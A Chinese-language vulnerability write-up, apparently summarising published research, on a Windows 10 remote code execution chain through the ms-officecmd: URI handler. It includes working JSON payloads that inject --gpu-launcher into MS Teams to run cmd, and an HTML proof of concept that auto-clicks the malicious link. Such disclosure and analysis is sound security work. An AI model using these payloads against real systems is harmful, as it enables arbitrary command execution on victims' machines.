0x00 背景
这是一次通过 custom URI protocol 来完成 Windows 10 RCE的过程。通过在网页中执行 javascript 重定向到精心设计的 ms-officecmd: 的URI,再通过注入执行参数 --gpu-launcher 以启动 Electron 应用,来达到执行任意命令的效果。
本次漏洞之旅有很多的不足,还请各位看官见谅。
0x01 ms-officecmd
ms-officecmd: 是我们通过遍历 windows 注册表得到的一个URI protocol,我们打开注册表 URL Protocol 就可以找到。
当我们开始使用它时,我们注意到一个名为的可执行文件LocalBridge.exe会短暂运行,但没有明显的外部影响。为了更深入地了解发生了什么,我们查看了 Windows 事件日志,其中包含一些非常有用的信息:
打开由空的有效 JSON 负载组成的 URI 时不会发生相同的异常ms-officecmd:{},这为我们提供了有关有效 URI 结构是什么样子的第一个提示。
观察 URI 处理程序中的 JSON 解析最终证实ms-officecmd:URI 有潜力做非常复杂的事情。我们决心确切地找出他们能做什么。
0x02 反编译 LocalBridge.exe 和 AppBridge.dll
分析了两个文件,得出一些payload,都没有成功。
0x03 另辟蹊径 审计 Office UWP
Win10 中,自带有一个Office的UWP版。直觉表明,ms-officecmd: 是 Office UWP 应用要打开的 Office 桌面应用程序时,就会在被调用。这个猜想后来得到了证实。
接下来,我们使用 Edge DevTools Preview 来审计它:
- 执行全局源代码搜索 ( ctrl+ shift+ f) 以查找我们的审计关键字“ms-officecmd”:找到的唯一出现是launchProtocol常量的定义
- 执行另一个搜索以查找launchProtocol常量的用法:在launchViaProtocol方法中找到第一个命中,看起来很有希望
- 添加断点launchViaProtocol并尝试触发它:单击左侧栏上的Outlook图标实现了这一点
- 从局部变量中提取 JSON payload结构
还有个更快的办法就是,通过 Microsoft Sysinternals Process Monitor 来记录正常触发Process Create与LocalBridge.exe相关的事件:
当然,这个方法也是事后才想到的。
我们尝试用它打开 outlook:
ms-officecmd:{
"id": 3,
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 8,
"name": "Outlook",
"discovered": {
"command": "c:\\program files\\microsoft office\\root\\office16\\outlook.exe"
}
},
"filename": ""
}
}
通过盲测,我们发现了可以通过修改 appId 来启动其它 Office 应用。
- 1: Access
- 2: Excel
- 5: Teams
- 6: Skype for Business
- 7: OneDrive
- 8: Outlook
- 10: PowerPoint
- 12: Publisher
- 14: Word
- 18: OneNote
- 21: Skype
filename 和 command 属性也都是可以用的,但优先级要低一点。
0x04 filename 属性参数注入
我们通过 AppId 来启动 Word,再通过 filename 来打开一个远程网页的内容,效果如下:
另外就是,我们通过双引号的方式来注入自己的应用执行参数:
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 14,
"name": "Word",
"discovered": {
"command": "irrelevant"
}
},
"filename": "https://example.com/\" /q"
}
}
0x05 注入 --gpu-launcher 启动参数
这个方法的先决条件是安装了 MS Teams 但未运行。
我们的 payload 基于CVE-2018-1000006 的漏洞利用,它利用--gpu-launcher参数注入在 Electron 应用程序启动时执行的任意命令。为了利用我们的参数注入和 MS Teams 进行漏洞利用。
payload 如下:
ms-officecmd:{
"LocalProviders.LaunchOfficeAppForResult": {
"details": {
"appId": 5,
"name": "irrelevant",
"discovered": {
"command": "irrelevant"
}
},
"filename": "a:/b/ --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\System32\\cmd /c calc && \""
}
}
注意几点:
- 开头写得像盘符一样,不然通不过验证
- filename 里不要有 . (点)
就这样可以了。
0x06 在 Edge Legacy中触发
通常在浏览器中打开会有一个提示框,但是在 IE 和 Edge Legacy下是没有的,我们构造了如下 PoC 可以在浏览器中直接触发:
<html>
Exploit in progress <a id="l" href="ms-officecmd:{"id":3,"LocalProviders.LaunchOfficeAppForResult":{"details":{"appId":5,"name":"Teams","discovered":{"command":"teams.exe","uri":"msteams"}},"filename":"a:/b/%20--disable-gpu-sandbox%20--gpu-launcher=\"C:\\Windows\\System32\\cmd%20\/c%20ping%2016843009%20&&%20\""}}"></a>
<script>document.getElementById("l").click(); </script>
0x07 点评
这个漏洞总得来说,过程有很多可以学习的点,比如应用程序的windows事件抓捕、UWP的调试、Process Monitor来捕获调用,但结果来看没有很多的绕过 prompt,所以还是不算一个完美的漏洞,也就是这点,在作者原文中,与MSRC发生了不少扯皮。
另外原文中还有两个不成功的kill chain:
- 调用outlook启动本地文件,这个 PoC 要求用户确认一个额外的警告对话框:
https://uploads-ssl.webflow.com/5f6498c074436c50c016e745/61477c1fdb7104efc54cb2ff_Outlook_RCE-transcode.mp4
虽然 Outlook 不允许使用 file://URL,但允许使用C:// “url scheme”,稍后将其视为本地路径的驱动器号。此外,我们添加了一个/绕过文件扩展名。 - 加载恶意 Word/Excel add-ins
1. plain .dll and .wll files
2. VSTO add-ins
3. 'Office' (web) add-ins
不幸的是,我们无法使应用程序在启动时正确加载我们精心制作的任何加载项。
更详细的挖掘过程还请阅读原文:https://positive.security/blog/ms-officecmd-rce